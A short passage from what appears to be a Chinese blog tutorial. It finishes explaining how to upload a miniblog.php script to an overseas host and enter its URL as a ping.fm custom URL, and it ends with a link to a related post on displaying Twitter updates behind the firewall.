将所有代码上传到你的境外主机上,ping.fm上custom URL是“放置代码的URL+miniblog.php”,例如我的blog上该代码的位置是http://shizhao.org/sina,那么custom URL就是http://shizhao.org/sina/miniblog.php

ok。大功告成。

另外推荐:在墙内网页上显示推特记录的三种方法